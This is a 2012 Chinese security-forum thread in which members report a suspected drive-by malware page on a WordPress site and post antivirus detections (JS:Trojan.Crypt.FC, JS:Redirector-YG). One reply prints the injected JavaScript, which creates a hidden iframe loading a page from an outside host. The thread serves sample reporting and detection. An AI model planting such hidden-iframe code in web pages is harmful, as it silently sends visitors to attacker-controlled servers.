可疑[挂马][by IllusionWing]

显示全部楼层 · 发表于 2012-8-1 09:07:32

本帖最后由 always 于 2012-8-4 08:41 编辑

hxxp://thehometurf.com/wp-includes/notice.html

显示全部楼层 · 发表于 2012-8-1 09:28:14

Website blocked!
G Data InternetSecurity 2013 has denied access to this website.
The site contains infected code: JS:Trojan.Crypt.FC (Engine A), JS:Redirector-YG [Trj] (Engine B).

显示全部楼层 · 发表于 2012-8-1 10:02:16

显示全部楼层 · 发表于 2012-8-1 12:52:14

ESET KILL

显示全部楼层 · 发表于 2012-8-1 13:26:08

挂马。

if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://jeffknitwear.org/main.php?page=8614d3f3a69b5162' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','http://jeffknitwear.org/main.php?page=8614d3f3a69b5162');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}

不过已经连不上了

显示全部楼层 · 发表于 2012-8-1 22:29:16

谷歌浏览器拦截

显示全部楼层 · 发表于 2012-8-8 22:11:48

显示全部楼层 · 发表于 2012-8-9 17:27:35

病毒: JS:Trojan.Crypt.FC (引擎A), JS:Redirector-YG [Trj] (引擎B)

下载网页内容时发现病毒。

地址: thehometurf.com
状态：访问被拒绝。

显示全部楼层 · 发表于 2012-8-9 19:54:01

好像已经失效。。。。。。。。

显示全部楼层 · 发表于 2012-8-11 07:10:43

斗牛犬

[已鉴定] 可疑[挂马][by IllusionWing]